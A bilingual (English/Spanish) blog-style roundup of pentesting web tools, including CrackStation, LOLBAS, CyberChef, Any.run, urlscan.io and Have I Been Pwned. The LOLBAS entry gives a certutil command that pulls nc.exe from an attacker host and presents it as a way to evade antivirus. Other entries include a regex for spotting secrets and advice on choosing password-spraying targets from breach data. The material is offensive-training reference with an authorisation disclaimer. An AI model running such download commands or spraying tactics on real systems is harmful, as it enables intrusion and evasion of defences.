> ⚠️ **Aviso legal:** exclusivamente para entornos de práctica controlados y autorizados (HackTheBox, TryHackMe, VulnHub, laboratorios propios, bug bounty con scope autorizado). Usarlo contra sistemas sin autorización explícita es ilegal.
## Repositorio
[github.com/DonTrebor1/REAPER →](https://github.com/DonTrebor1/REAPER?ref=thehacksparrow.com)
### CrackStation
URL: https://thehacksparrow.com/crackstation/
Last updated: 2026-09-23T10:26:39.000Z
> **What it is** — CrackStation is an online hash lookup: it maintains a massive database (15+ billion entries) of **already-cracked** hashes — mostly passwords leaked in known breaches — and returns the plaintext password **instantly** if your hash matches, without spending any GPU time on brute force.
| **Type** | Free web service |
| -------- | -------------------------------------------------------------------- |
| **Cost** | Free |
| **URL** | [crackstation.net](https://crackstation.net/?ref=thehacksparrow.com) |
## How to use it
Paste one or more hashes (one per line) into the text box and it auto-detects the type (MD5, SHA1, SHA256, NTLM, among others):
```text
5f4dcc3b5aa765d61d8327deb882cf99
```
> **Important limitation:** it works by dictionary/lookup, not real brute force — it only finds the password if it was **already in its database** beforehand. And it doesn't cover **salted** hashes (like Linux `/etc/shadow`'s `$6$`, or bcrypt) because each salt produces a different hash even for the same password — those need John/hashcat with a wordlist or real brute force.
## What I use it for
- **First try, always, before spending GPU time:** for any unsalted MD5/SHA1 hash I find (typically in web database dumps), I try this first — if it's already in the database, I save minutes or hours of local cracking.
- **Quickly checking if a password is "common":** if CrackStation resolves it instantly, it's a weak/reused password — useful data point for the report.
- **I never use it with hashes that could be sensitive/from a real client:** just like with VirusTotal, uploading a hash to an external service shares it with third parties — for real engagements, I use local tools (John, hashcat).
## Link
[crackstation.net →](https://crackstation.net/?ref=thehacksparrow.com)
> **Qué es** — CrackStation es un buscador de hashes online: mantiene una base de datos gigante (más de 15 mil millones de entradas) de hashes **ya crackeados** — principalmente contraseñas filtradas en brechas conocidas — y te devuelve la contraseña en texto claro **al instante** si tu hash coincide, sin necesidad de gastar tiempo de GPU en fuerza bruta.
| **Tipo** | Servicio web gratuito |
| --------- | -------------------------------------------------------------------- |
| **Coste** | Gratis |
| **URL** | [crackstation.net](https://crackstation.net/?ref=thehacksparrow.com) |
## Cómo se usa
Pegas uno o varios hashes (uno por línea) en el cuadro de texto y resuelve el tipo automáticamente (MD5, SHA1, SHA256, NTLM, entre otros):
```text
5f4dcc3b5aa765d61d8327deb882cf99
```
> **Limitación importante:** funciona por diccionario/lookup, no por fuerza bruta real — solo encuentra la contraseña si **ya estaba en su base de datos** de antemano. Y no cubre hashes **salados** (como el `$6$` de `/etc/shadow` en Linux, o bcrypt) porque cada sal genera un hash distinto aunque la contraseña sea la misma — para esos casos hace falta John/hashcat con diccionario o fuerza bruta real.
## Para qué lo uso yo
- **Primer intento, siempre, antes de gastar tiempo de GPU:** con cualquier hash MD5/SHA1 sin salar que encuentro (típicamente en dumps de bases de datos web), lo pruebo aquí primero — si ya está en su base de datos, ahorro minutos u horas de crackeo local.
- **Verificar rápido si una contraseña es "común":** si CrackStation la resuelve al instante, es una contraseña débil/reutilizada — dato útil para el informe.
- **Nunca lo uso con hashes que puedan ser sensibles/reales de un cliente:** igual que con VirusTotal, subir un hash a un servicio externo lo comparte con terceros — para engagements reales, uso herramientas locales (John, hashcat).
## Enlace
[crackstation.net →](https://crackstation.net/?ref=thehacksparrow.com)
### LOLBAS
URL: https://thehacksparrow.com/lolbas/
Last updated: 2026-09-23T10:55:56.000Z
> **What it is** — LOLBAS (Living Off The Land Binaries And Scripts) is the **Windows** equivalent of GTFOBins: it catalogues native Windows binaries, scripts, and libraries (Microsoft-signed, already present on any installation) that can be abused to execute code, download files, evade AppLocker/Defender, or escalate privileges — without needing to upload any external tool to the system.
| **Type** | Web / static catalogue |
| -------- | ------------------------------------------------------------------------------------ |
| **Cost** | Free |
| **URL** | [lolbas-project.github.io](https://lolbas-project.github.io/?ref=thehacksparrow.com) |
## How to use it
Every binary has its own page with examples grouped by category (Execute, Download, Bypass, Credentials, Compile...). Example of downloading a file by abusing `certutil` (native, no PowerShell or external tools needed):
```text
certutil.exe -urlcache -split -f http:///nc.exe C:\Windows\Temp\nc.exe
```
> **Why it matters in a real engagement:** since these are already-signed binaries present by default on Windows, using them leaves a much smaller footprint and is far less likely to be blocked by an AV/EDR than uploading an external offensive tool like `nc.exe` directly.
## What I use it for
- **When I land on a restricted Windows** (AppLocker, restrictive execution policies) I look here for which already-trusted system binary I can abuse to get execution.
- **Downloading tools without curl/wget** (not always available on Windows) — certutil, bitsadmin, or PowerShell are almost always present.
- **Perfect companion to GTFOBins:** one for Linux, one for Windows — depending on which OS I'm facing on a given machine.
## Link
[lolbas-project.github.io →](https://lolbas-project.github.io/?ref=thehacksparrow.com)
> **Qué es** — LOLBAS (Living Off The Land Binaries And Scripts) es el equivalente en **Windows** a GTFOBins: cataloga binarios, scripts y librerías **nativos de Windows** (firmados por Microsoft, ya presentes en cualquier instalación) que pueden abusarse para ejecutar código, descargar ficheros, evadir AppLocker/Defender, o escalar privilegios — sin necesidad de subir ninguna herramienta externa al sistema.
| **Tipo** | Web / catálogo estático |
| --------- | ------------------------------------------------------------------------------------ |
| **Coste** | Gratis |
| **URL** | [lolbas-project.github.io](https://lolbas-project.github.io/?ref=thehacksparrow.com) |
## Cómo se usa
Cada binario tiene su ficha con ejemplos por categoría (Execute, Download, Bypass, Credentials, Compile...). Ejemplo de descarga de fichero abusando de `certutil` (nativo, sin necesidad de PowerShell ni herramientas externas):
```text
certutil.exe -urlcache -split -f http:///nc.exe C:\Windows\Temp\nc.exe
```
> **Por qué es tan útil en un engagement real:** como son binarios ya firmados y presentes por defecto en Windows, usarlos deja mucha menos huella y es mucho menos probable que un AV/EDR los bloquee que subir una herramienta ofensiva externa como `nc.exe` directamente.
## Para qué lo uso yo
- **Cuando llego a un Windows con acceso limitado** (AppLocker, políticas de ejecución restrictivas) busco aquí qué binario ya confiable del sistema puedo abusar para conseguir ejecución.
- **Descargar herramientas sin tocar disco con curl/wget** (que no siempre están disponibles en Windows) — certutil, bitsadmin o PowerShell suelen estar siempre presentes.
- **Complemento perfecto de GTFOBins:** uno para Linux, otro para Windows — según qué sistema operativo tenga delante en cada máquina.
## Enlace
[lolbas-project.github.io →](https://lolbas-project.github.io/?ref=thehacksparrow.com)
### Regex101
URL: https://thehacksparrow.com/regex101/
Last updated: 2026-09-23T10:55:57.000Z
> **What it is** — Regex101 is a live regular-expression debugger: you write the pattern and test text, and it highlights matches instantly, with a panel that **explains every part of the regex** in plain language. It supports several "flavours" (PCRE/PHP, JavaScript, Python, Golang, .NET), which matters since syntax varies slightly between languages.
| **Type** | Web app |
| -------- | ------------------------------------------------------------ |
| **Cost** | Free |
| **URL** | [regex101.com](https://regex101.com/?ref=thehacksparrow.com) |
## How to use it
Pick the regex flavour in the top-left (important: Burp Suite uses Java syntax, grep uses POSIX/PCRE depending on flags), paste your test text, and write the pattern — matches highlight live:
```text
(?i)(api[_-]?key|token|secret)[\"']?\s*[:=]\s*[\"']?([a-z0-9_\-]{16,})
```
> The **"Explanation"** panel on the right breaks down every group, quantifier, and flag in the pattern — very useful for understanding someone else's regex (or your own, six months later).
## What I use it for
- **Burp Suite Match & Replace rules:** I test the pattern here before pasting it into Burp — iterating with live highlighting is much faster than intercepting real traffic every time.
- **Finding secrets in code/logs:** patterns to detect API keys, tokens, or hardcoded credentials in a large source code dump.
- **Parsing logs during a CTF or engagement:** extracting IPs, timestamps, or specific paths from a huge log file without writing a full script.
- **Generating the final code:** Regex101 directly exports the ready-to-paste snippet for Python, JS, etc. once the pattern works.
## Link
[regex101.com →](https://regex101.com/?ref=thehacksparrow.com)
> **Qué es** — Regex101 es un depurador de expresiones regulares en vivo: escribes el patrón y el texto de prueba, y resalta las coincidencias al instante, con un panel que **explica cada parte de la regex** en lenguaje natural. Soporta varios "sabores" (PCRE/PHP, JavaScript, Python, Golang, .NET), importante porque la sintaxis varía ligeramente entre lenguajes.
| **Tipo** | Aplicación web |
| --------- | ------------------------------------------------------------ |
| **Coste** | Gratis |
| **URL** | [regex101.com](https://regex101.com/?ref=thehacksparrow.com) |
## Cómo se usa
Eliges el sabor de regex arriba a la izquierda (importante: Burp Suite usa sintaxis Java, grep usa POSIX/PCRE según flags), pegas tu texto de prueba, y escribes el patrón — las coincidencias se resaltan en tiempo real:
```text
(?i)(api[_-]?key|token|secret)[\"']?\s*[:=]\s*[\"']?([a-z0-9_\-]{16,})
```
> El panel **"Explanation"** de la derecha desglosa cada grupo, cuantificador y flag del patrón — muy útil para entender una regex ajena (o la tuya propia, seis meses después).
## Para qué lo uso yo
- **Reglas de Match & Replace en Burp Suite:** pruebo el patrón aquí antes de pegarlo en Burp — es mucho más rápido iterar viendo resaltado en vivo que interceptando tráfico real cada vez.
- **Buscar secretos en código/logs:** patrones para detectar claves de API, tokens o credenciales hardcodeadas en un dump grande de código fuente.
- **Parsing de logs durante un CTF o engagement:** extraer IPs, timestamps o rutas concretas de un fichero de log enorme sin escribir un script completo.
- **Generar el código final:** Regex101 exporta directamente el snippet listo para pegar en Python, JS, etc. una vez el patrón funciona.
## Enlace
[regex101.com →](https://regex101.com/?ref=thehacksparrow.com)
### CyberChef
URL: https://thehacksparrow.com/cyberchef/
Last updated: 2026-09-23T10:55:57.000Z
> **What it is** — CyberChef, created by GCHQ (the UK intelligence agency), is the web "Swiss Army knife" for **encoding, decoding, encrypting, hashing, and transforming data**. It works by dragging "operations" (Base64, Hex, XOR, ROT13, gzip, JWT decode, extract IOCs...) into a "recipe" that runs in a chain against your input, updating the result live.
| **Type** | Web app (100% client-side, no server) |
| -------- | ------------------------------------------------------------------------------------ |
| **Cost** | Free |
| **URL** | [gchq.github.io/CyberChef](https://gchq.github.io/CyberChef/?ref=thehacksparrow.com) |
## How to use it
Drag operations from the left column into the central "Recipe". A typical example for deobfuscating a payload: Base64 → Gunzip → From Hex, all chained:
```text
Input: H4sIAAAAAAAAA...
Recipe: From Base64 -> Gunzip -> Extract Strings
```
> **Important detail:** CyberChef runs **entirely in your browser** (client-side JavaScript) — nothing you paste is ever sent to any server. Unlike uploading a file to VirusTotal, here you CAN safely paste sensitive data (a client's payload, found credentials).
## What I use it for
- **Deobfuscating payloads in CTFs:** nested Base64 strings, XOR with an unknown key (CyberChef has a built-in XOR brute-force module), obfuscated JS — chaining operations is much faster than writing a one-off script for each case.
- **Decoding JWTs** on the fly to inspect the payload during authentication testing.
- **Analysing captured traffic/logs:** extracting IPs, URLs, or interesting strings from a large dump using the built-in extraction modules, without setting up a parsing script.
- **Teaching/explaining:** being visual and live, it's the best way to walk someone through deobfuscating something step by step.
## Link
[gchq.github.io/CyberChef →](https://gchq.github.io/CyberChef/?ref=thehacksparrow.com)
> **Qué es** — CyberChef, creado por GCHQ (la agencia de inteligencia británica), es la "navaja suiza" web para **codificar, decodificar, cifrar, hashear y transformar datos**. Funciona arrastrando "operaciones" (Base64, Hex, XOR, ROT13, gzip, JWT decode, extraer IOCs...) a una "receta" que se ejecuta en cadena sobre tu entrada, con el resultado actualizándose en tiempo real.
| **Tipo** | Aplicación web (100% cliente, sin servidor) |
| --------- | ------------------------------------------------------------------------------------ |
| **Coste** | Gratis |
| **URL** | [gchq.github.io/CyberChef](https://gchq.github.io/CyberChef/?ref=thehacksparrow.com) |
## Cómo se usa
Arrastras operaciones desde la columna izquierda a la "Recipe" central. Ejemplo típico para desofuscar un payload: Base64 → Gunzip → From Hex, todo encadenado:
```text
Input: H4sIAAAAAAAAA...
Recipe: From Base64 -> Gunzip -> Extract Strings
```
> **Detalle importante:** CyberChef corre **enteramente en tu navegador** (JavaScript del lado del cliente) — ningún dato que pegues se envía a ningún servidor. A diferencia de subir un fichero a VirusTotal, aquí SÍ puedes pegar datos sensibles (payloads de un cliente, credenciales encontradas) con tranquilidad.
## Para qué lo uso yo
- **Desofuscar payloads en CTFs:** cadenas Base64 anidadas, XOR con clave desconocida (CyberChef tiene un módulo de fuerza bruta XOR integrado), JS ofuscado — encadenar operaciones es mucho más rápido que escribir un script para cada caso puntual.
- **Decodificar JWTs** al vuelo para inspeccionar el payload durante pruebas de autenticación.
- **Analizar tráfico/logs capturados:** extraer IPs, URLs o strings interesantes de un volcado grande con los módulos de extracción integrados, sin montar un script de parsing.
- **Enseñar/explicar:** al ser visual y en tiempo real, es la mejor forma de explicar a alguien cómo se desofusca algo paso a paso.
## Enlace
[gchq.github.io/CyberChef →](https://gchq.github.io/CyberChef/?ref=thehacksparrow.com)
### Any.run
URL: https://thehacksparrow.com/any-run/
Last updated: 2026-09-23T10:55:58.000Z
> **What it is** — Any.run is an **interactive malware sandbox**: you upload a file or URL and it runs it on a real virtual machine inside your browser, live. Unlike a purely static verdict (like VirusTotal's), here you see the **actual behaviour**: processes spawned, network traffic, Windows registry changes, files written — and you can even interact with the VM yourself (dismiss dialogs, click around) so the malware "feels" like it's being watched by a real user.
| **Type** | Interactive web sandbox |
| -------- | --------------------------------------------------- |
| **Cost** | Limited free tier · paid plans for private analysis |
| **URL** | [any.run](https://any.run/?ref=thehacksparrow.com) |
## How to use it
Upload the file or paste the URL, choose the OS (Windows/Linux, different versions), and start the analysis. Within seconds you have a live VM in your browser running the sample:
```text
# 1. Upload/Submit -> choose OS -> Run
# 2. Watch the process tree and network traffic live
# 3. Download the report (IOCs, hashes, generated YARA/Sigma rules)
```
> **When to use it instead of VirusTotal:** when VirusTotal's static verdict isn't conclusive (few engines detect it, or the binary is packed/obfuscated) — Any.run's dynamic analysis reveals the actual behaviour even when the file itself looks clean at first glance.
## What I use it for
- **Second opinion after VirusTotal:** if a binary from a CTF or a suspicious sample isn't clear from the static verdict, I run it here to see what it actually does.
- **Extracting IOCs quickly:** C2 IPs, contacted domains, created files — all listed automatically, saving manual analysis time.
- **Understanding techniques without risking my own machine:** I never run a suspicious sample on my real machine — Any.run gives me a disposable, isolated environment for that.
## Link
[any.run →](https://any.run/?ref=thehacksparrow.com)
> **Qué es** — Any.run es un **sandbox interactivo de malware**: subes un fichero o una URL y lo ejecuta en una máquina virtual real dentro del navegador, en directo. A diferencia de un análisis puramente estático (como el veredicto de VirusTotal), aquí ves el **comportamiento real**: procesos creados, tráfico de red, cambios en el registro de Windows, ficheros escritos — e incluso puedes interactuar con la VM tú mismo (cerrar diálogos, hacer clic) para que el malware "se sienta observado" por un usuario real.
| **Tipo** | Sandbox interactivo web |
| --------- | -------------------------------------------------------------- |
| **Coste** | Plan gratuito limitado · planes de pago para análisis privados |
| **URL** | [any.run](https://any.run/?ref=thehacksparrow.com) |
## Cómo se usa
Subes el fichero o pegas la URL, eliges sistema operativo (Windows/Linux, distintas versiones) y arrancas el análisis. En segundos tienes una VM en directo en el navegador donde se ejecuta la muestra:
```text
# 1. Upload/Submit -> elegir SO -> Run
# 2. Observar el arbol de procesos y el trafico de red en tiempo real
# 3. Descargar el informe (IOCs, hashes, reglas YARA/Sigma generadas)
```
> **Cuándo usarlo en vez de VirusTotal:** cuando el veredicto estático de VirusTotal no es concluyente (pocos motores lo detectan, o el binario está empaquetado/ofuscado) — el análisis dinámico de Any.run revela el comportamiento real aunque el fichero en sí parezca limpio a primera vista.
## Para qué lo uso yo
- **Segunda opinión tras VirusTotal:** si un binario en un CTF o una muestra sospechosa no está claro con el veredicto estático, lo ejecuto aquí para ver qué hace realmente.
- **Extraer IOCs rápido:** IPs de C2, dominios contactados, ficheros creados — todo queda listado automáticamente, ahorra tiempo de análisis manual.
- **Entender técnicas sin arriesgar mi propio equipo:** nunca ejecuto una muestra sospechosa en mi máquina real — Any.run me da un entorno desechable y aislado para eso.
## Enlace
[any.run →](https://any.run/?ref=thehacksparrow.com)
### urlscan.io
URL: https://thehacksparrow.com/urlscan/
Last updated: 2026-09-23T10:56:00.000Z
> **What it is** — urlscan.io is a sandbox that **visits a URL for you**, inside a real, isolated browser, and gives you the full result: a screenshot of the page, every network request made, the final DOM, detected technologies, and a verdict on whether it resembles known phishing/malware — without you having to open the link on your own machine.
| **Type** | Web sandbox + API |
| -------- | -------------------------------------------------------- |
| **Cost** | Public scans free · private scans paid |
| **URL** | [urlscan.io](https://urlscan.io/?ref=thehacksparrow.com) |
## How to use it
Paste the URL on the site, or trigger a scan via the API:
```bash
curl -s -X POST https://urlscan.io/api/v1/scan/ \
-H 'API-Key: ' -H 'Content-Type: application/json' \
-d '{"url": "http://suspicious-domain.com", "visibility": "private"}'
```
> **Watch the visibility setting:** scans are **public** by default and become searchable by anyone — if the URL contains session tokens, invite IDs, or other sensitive info, use `"visibility": "private"`.
## What I use it for
- **Phishing triage in bug bounty:** when a program receives reports of phishing targeting its brand, I use urlscan to see what the page does without exposing myself directly or leaving a trace from my own IP.
- **Checking a domain's public history:** sometimes others already scanned the same URL/domain before — urlscan's history reveals whether that domain has been active in phishing campaigns for a while.
- **Capturing evidence:** the screenshot + network request list is exactly what I need to attach to a report without taking manual screenshots.
## Link
[urlscan.io →](https://urlscan.io/?ref=thehacksparrow.com)
> **Qué es** — urlscan.io es un sandbox que **visita una URL por ti**, dentro de un navegador real y aislado, y te da el resultado completo: screenshot de la página, todas las peticiones de red realizadas, el DOM final, tecnologías detectadas, y un veredicto de si se parece a phishing/malware conocido — sin que tú tengas que abrir el enlace en tu propio equipo.
| **Tipo** | Sandbox web + API |
| --------- | -------------------------------------------------------- |
| **Coste** | Escaneos públicos gratis · privados de pago |
| **URL** | [urlscan.io](https://urlscan.io/?ref=thehacksparrow.com) |
## Cómo se usa
Pegas la URL en la web, o lanzas el escaneo por API:
```bash
curl -s -X POST https://urlscan.io/api/v1/scan/ \
-H 'API-Key: ' -H 'Content-Type: application/json' \
-d '{"url": "http://dominio-sospechoso.com", "visibility": "private"}'
```
> **Ojo con la visibilidad:** por defecto los escaneos son **públicos** y quedan buscables por cualquiera — si la URL contiene tokens de sesión, IDs de invitación u otra información sensible, usa `"visibility": "private"`.
## Para qué lo uso yo
- **Triage de phishing en bug bounty:** cuando un programa recibe reportes de phishing dirigido a su marca, uso urlscan para ver qué hace la página sin exponerme yo directamente ni dejar rastro desde mi propia IP.
- **Ver el historial público de un dominio:** a veces otros ya escanearon la misma URL/dominio antes — el histórico de urlscan revela si ese dominio lleva tiempo activo en campañas de phishing.
- **Capturar evidencia:** el screenshot + lista de peticiones de red es justo lo que necesito adjuntar a un informe sin tener que hacer capturas manuales.
## Enlace
[urlscan.io →](https://urlscan.io/?ref=thehacksparrow.com)
### SSL Labs
URL: https://thehacksparrow.com/ssl-labs/
Last updated: 2026-09-23T10:55:59.000Z
> **What it is** — Qualys' SSL Server Test (known as "SSL Labs") deeply analyses a server's **TLS/SSL configuration**: supported protocols (and whether it still accepts obsolete SSLv3/TLS 1.0), weak cipher suites, certificate validity and chain, **HSTS** support, and known vulnerabilities (Heartbleed, POODLE, etc.). It returns a grade from A+ to F.
| **Type** | Free web service |
| -------- | ------------------------------------------------------------------------------ |
| **Cost** | Free |
| **URL** | [ssllabs.com/ssltest](https://www.ssllabs.com/ssltest/?ref=thehacksparrow.com) |
## How to use it
Enter the hostname and wait \~1-2 minutes while it runs the full analysis. There's also a JSON API to automate queries:
```bash
https://api.ssllabs.com/api/v3/analyze?host=target.com
```
> The analysis is **public by default** (it shows up in the site's recent-scans board) unless you tick "Do not show the results on the boards" — keep that in mind before scanning a sensitive target.
## What I use it for
- **Understanding a target's TLS posture** before an engagement — even though many bug bounty programs exclude purely TLS-configuration issues from scope, it's still useful recon information.
- **Verifying certificates after a finding:** if I find a certificate-related issue (wrong hostname, broken chain), SSL Labs gives the full technical detail to document it properly in the report.
- **Learning:** the detailed report is a good way to understand TLS protocols and ciphers in depth, not just whether something "passes" or "fails".
## Link
[ssllabs.com/ssltest →](https://www.ssllabs.com/ssltest/?ref=thehacksparrow.com)
> **Qué es** — el SSL Server Test de Qualys (conocido como "SSL Labs") analiza en profundidad la **configuración TLS/SSL** de un servidor: protocolos soportados (y si sigue aceptando SSLv3/TLS 1.0 obsoletos), suites de cifrado débiles, validez y cadena del certificado, soporte de **HSTS**, y vulnerabilidades conocidas (Heartbleed, POODLE, etc.). Devuelve una nota de A+ a F.
| **Tipo** | Servicio web gratuito |
| --------- | ------------------------------------------------------------------------------ |
| **Coste** | Gratis |
| **URL** | [ssllabs.com/ssltest](https://www.ssllabs.com/ssltest/?ref=thehacksparrow.com) |
## Cómo se usa
Introduces el hostname y esperas \~1-2 minutos mientras hace el análisis completo. También hay una API JSON para automatizar consultas:
```bash
https://api.ssllabs.com/api/v3/analyze?host=objetivo.com
```
> El análisis es **público por defecto** (aparece en el histórico de escaneos recientes de la web) salvo que marques la opción "Do not show the results on the boards" — tenlo en cuenta antes de escanear un objetivo sensible.
## Para qué lo uso yo
- **Entender la postura TLS de un objetivo** antes de un engagement — aunque muchos programas de bug bounty excluyen fallos puramente de configuración TLS del scope, sigue siendo información útil de reconocimiento.
- **Verificar certificados tras un hallazgo:** si encuentro un problema relacionado con el certificado (nombre incorrecto, cadena rota), SSL Labs da el detalle técnico completo para documentarlo bien en el informe.
- **Aprendizaje:** el informe detallado es una buena forma de entender protocolos y cifrados TLS en profundidad, no solo si algo "pasa" o "falla".
## Enlace
[ssllabs.com/ssltest →](https://www.ssllabs.com/ssltest/?ref=thehacksparrow.com)
### SecurityHeaders.com
URL: https://thehacksparrow.com/securityheaders/
Last updated: 2026-09-23T10:56:01.000Z
> **What it is** — SecurityHeaders.com (created by Scott Helme) analyses any website's **HTTP security headers** and grades it from A+ to F: it checks `Content-Security-Policy`, `Strict-Transport-Security`, `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy` and several more.
| **Type** | Free web service |
| -------- | -------------------------------------------------------------------------- |
| **Cost** | Free |
| **URL** | [securityheaders.com](https://securityheaders.com/?ref=thehacksparrow.com) |
## How to use it
Enter the URL and get the report in seconds. It can also be checked from the command line without the site:
```bash
curl -sI https://target.com | grep -iE 'content-security-policy|strict-transport|x-frame|x-content-type'
```
> A low grade **isn't an exploitable vulnerability by itself**, but it points out where defence layers are missing: without `CSP`, a reflected XSS that would otherwise be mitigated becomes fully exploitable; without `X-Frame-Options`, the site is vulnerable to clickjacking.
## What I use it for
- **Quick triage in bug bounty:** a 10-second check that tells me whether it's worth digging for XSS (without CSP, the impact of finding one is much higher) or whether there are protections that will limit its exploitability.
- **Report context:** when reporting an XSS, mentioning the lack of CSP helps justify severity to the program's triager.
- **Comparing before/after:** after reporting something and it getting fixed, I re-check the headers to confirm the fix actually shipped.
## Link
[securityheaders.com →](https://securityheaders.com/?ref=thehacksparrow.com)
> **Qué es** — SecurityHeaders.com (creado por Scott Helme) analiza las **cabeceras HTTP de seguridad** de cualquier web y te da una nota de A+ a F: comprueba `Content-Security-Policy`, `Strict-Transport-Security`, `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy` y varias más.
| **Tipo** | Servicio web gratuito |
| --------- | -------------------------------------------------------------------------- |
| **Coste** | Gratis |
| **URL** | [securityheaders.com](https://securityheaders.com/?ref=thehacksparrow.com) |
## Cómo se usa
Introduces la URL y en segundos tienes el informe. También se puede consultar por línea de comandos sin pasar por la web:
```bash
curl -sI https://objetivo.com | grep -iE 'content-security-policy|strict-transport|x-frame|x-content-type'
```
> Una nota baja **no es una vulnerabilidad explotable por sí sola**, pero señala dónde faltan capas de defensa: sin `CSP`, un XSS reflejado que de otro modo sería mitigado se vuelve totalmente explotable; sin `X-Frame-Options`, el sitio es vulnerable a clickjacking.
## Para qué lo uso yo
- **Triage rápido en bug bounty:** una comprobación de 10 segundos que me dice si vale la pena buscar XSS a fondo (sin CSP, el impacto de encontrar uno es mucho mayor) o si hay protecciones que limitarán su explotabilidad.
- **Contexto para el informe:** cuando reporto un XSS, mencionar la ausencia de CSP ayuda a justificar la severidad ante el triager del programa.
- **Comparar antes/después:** tras reportar y que arreglen algo, vuelvo a comprobar las cabeceras para confirmar que el fix realmente se desplegó.
## Enlace
[securityheaders.com →](https://securityheaders.com/?ref=thehacksparrow.com)
### Wappalyzer
URL: https://thehacksparrow.com/wappalyzer/
Last updated: 2026-09-23T10:56:01.000Z
> **What it is** — Wappalyzer fingerprints a website's **tech stack**: CMS (WordPress, Drupal...), JS frameworks (React, Vue...), server (Apache/nginx/IIS), backend language, analytics, CDN, and even specific WordPress plugins. It analyses HTTP headers, cookies, loaded scripts, and HTML patterns.
| **Type** | Browser extension + web + API |
| -------- | -------------------------------------------------------------------- |
| **Cost** | Extension and web lookup free · paid API |
| **URL** | [wappalyzer.com](https://www.wappalyzer.com/?ref=thehacksparrow.com) |
## How to use it
Install the browser extension and browse normally — the icon updates automatically for every page you visit. To check without the extension, use the web lookup:
```bash
https://www.wappalyzer.com/lookup/target.com/
```
> **Why it matters:** knowing a site runs WordPress 6.2 with the "Contact Form 7" plugin immediately tells you where to look for public CVEs — much faster than manually enumerating typical CMS paths.
## What I use it for
- **First glance at any web target:** before touching anything, I want to know if it's a known CMS, a custom app, or an SPA framework — it completely changes the approach.
- **Targeted CVE searches:** with CMS + version + plugins identified, searching for public vulnerabilities is far more precise than probing blindly.
- **Spotting legacy stack:** it sometimes reveals old technology (a years-old JS library, an unpatched CMS) that hints at which parts of the site are less maintained.
## Link
[wappalyzer.com →](https://www.wappalyzer.com/?ref=thehacksparrow.com)
> **Qué es** — Wappalyzer identifica el **stack tecnológico** de una web: CMS (WordPress, Drupal...), frameworks JS (React, Vue...), servidor (Apache/nginx/IIS), lenguaje backend, analítica, CDN, e incluso plugins concretos de WordPress. Analiza cabeceras HTTP, cookies, scripts cargados y patrones del HTML.
| **Tipo** | Extensión de navegador + web + API |
| --------- | -------------------------------------------------------------------- |
| **Coste** | Extensión y lookup web gratis · API de pago |
| **URL** | [wappalyzer.com](https://www.wappalyzer.com/?ref=thehacksparrow.com) |
## Cómo se usa
Instala la extensión de navegador y navega normalmente — el icono se actualiza solo con cada página que visitas. Para consultar sin extensión, usa el lookup web:
```bash
https://www.wappalyzer.com/lookup/objetivo.com/
```
> **Por qué importa:** saber que un sitio corre WordPress 6.2 con el plugin "Contact Form 7" te dice inmediatamente dónde buscar CVEs públicos — mucho más rápido que enumerar manualmente rutas típicas de CMS.
## Para qué lo uso yo
- **Primer vistazo en cualquier objetivo web:** antes de tocar nada, quiero saber si es un CMS conocido, una app custom, o un framework SPA — cambia totalmente el enfoque.
- **Buscar CVEs dirigidos:** con CMS + versión + plugins identificados, la búsqueda de vulnerabilidades públicas es mucho más precisa que probar a ciegas.
- **Detectar stack heredado:** a veces revela tecnología antigua (una librería JS de hace años, un CMS sin actualizar) que da pistas de qué partes del sitio están menos mantenidas.
## Enlace
[wappalyzer.com →](https://www.wappalyzer.com/?ref=thehacksparrow.com)
### Have I Been Pwned
URL: https://thehacksparrow.com/haveibeenpwned/
Last updated: 2026-09-23T10:26:43.000Z
> **What it is** — Have I Been Pwned (HIBP), created by Troy Hunt, is a public database aggregating **known data breaches**. Give it an email and it tells you which leaks it appeared in; give it a domain (with ownership verification) and it shows the aggregated exposure of every account from that organisation.
| **Type** | Web service + API |
| -------- | ------------------------------------------------------------------------ |
| **Cost** | Email search free · domain API paid |
| **URL** | [haveibeenpwned.com](https://haveibeenpwned.com/?ref=thehacksparrow.com) |
## How to use it
Look up a specific email directly on the site:
```bash
https://haveibeenpwned.com/account/
```
It also checks whether a specific password appeared in a breach (uses k-anonymity: only sends the SHA1 hash prefix, never the plaintext password):
```bash
curl -s "https://api.pwnedpasswords.com/range/$(echo -n 'password' | sha1sum | cut -c1-5)"
```
> The **Pwned Passwords** service is especially useful because it never transmits your full password — only the first 5 characters of the SHA1 hash, and you compare the rest locally. It's the same mechanism password managers like 1Password use to warn about compromised passwords without leaking your credentials.
## What I use it for
- **Generating spraying candidates (with authorisation):** in an authorised engagement, knowing which employees appear in breaches helps prioritise accounts more likely to reuse passwords.
- **Personal hygiene:** I periodically check my own emails to see if any service I use suffered a breach and it's time to rotate that password.
- **Context for a bug bounty report:** if I find leaked credentials related to a program, HIBP helps confirm whether they're from an already-known, public breach (different impact than a new, unreported leak).
## Link
[haveibeenpwned.com →](https://haveibeenpwned.com/?ref=thehacksparrow.com)
> **Qué es** — Have I Been Pwned (HIBP), creado por Troy Hunt, es una base de datos pública que agrega **brechas de datos conocidas**. Le das un email y te dice en qué filtraciones ha aparecido; le das un dominio (con verificación de propiedad) y te muestra la exposición agregada de todas las cuentas de esa organización.
| **Tipo** | Servicio web + API |
| --------- | ------------------------------------------------------------------------ |
| **Coste** | Búsqueda de email gratis · API de dominio de pago |
| **URL** | [haveibeenpwned.com](https://haveibeenpwned.com/?ref=thehacksparrow.com) |
## Cómo se usa
Búsqueda de un email concreto directamente en la web:
```bash
https://haveibeenpwned.com/account/
```
También comprueba si una contraseña concreta apareció en alguna filtración (usa k-anonimato: solo envía el prefijo del hash SHA1, nunca la contraseña en claro):
```bash
curl -s "https://api.pwnedpasswords.com/range/$(echo -n 'contraseña' | sha1sum | cut -c1-5)"
```
> El servicio de **Pwned Passwords** es especialmente útil porque nunca transmite tu contraseña completa — solo los 5 primeros caracteres del hash SHA1, y tú comparas el resto localmente. Es el mismo mecanismo que usan gestores de contraseñas como 1Password para avisarte de contraseñas comprometidas sin filtrar tus credenciales.
## Para qué lo uso yo
- **Generar candidatos para spraying (con autorización):** en un engagement autorizado, saber qué empleados aparecen en brechas ayuda a priorizar cuentas con mayor probabilidad de reutilización de contraseñas.
- **Higiene personal:** reviso periódicamente mis propios correos para saber si algún servicio que uso sufrió una brecha y toca rotar esa contraseña.
- **Contexto en un informe de bug bounty:** si encuentro credenciales filtradas relacionadas con el programa, HIBP ayuda a confirmar si son de una brecha ya conocida y pública (distinto impacto que una filtración nueva y no reportada).
## Enlace
[haveibeenpwned.com →](https://haveibeenpwned.com/?ref=thehacksparrow.com)
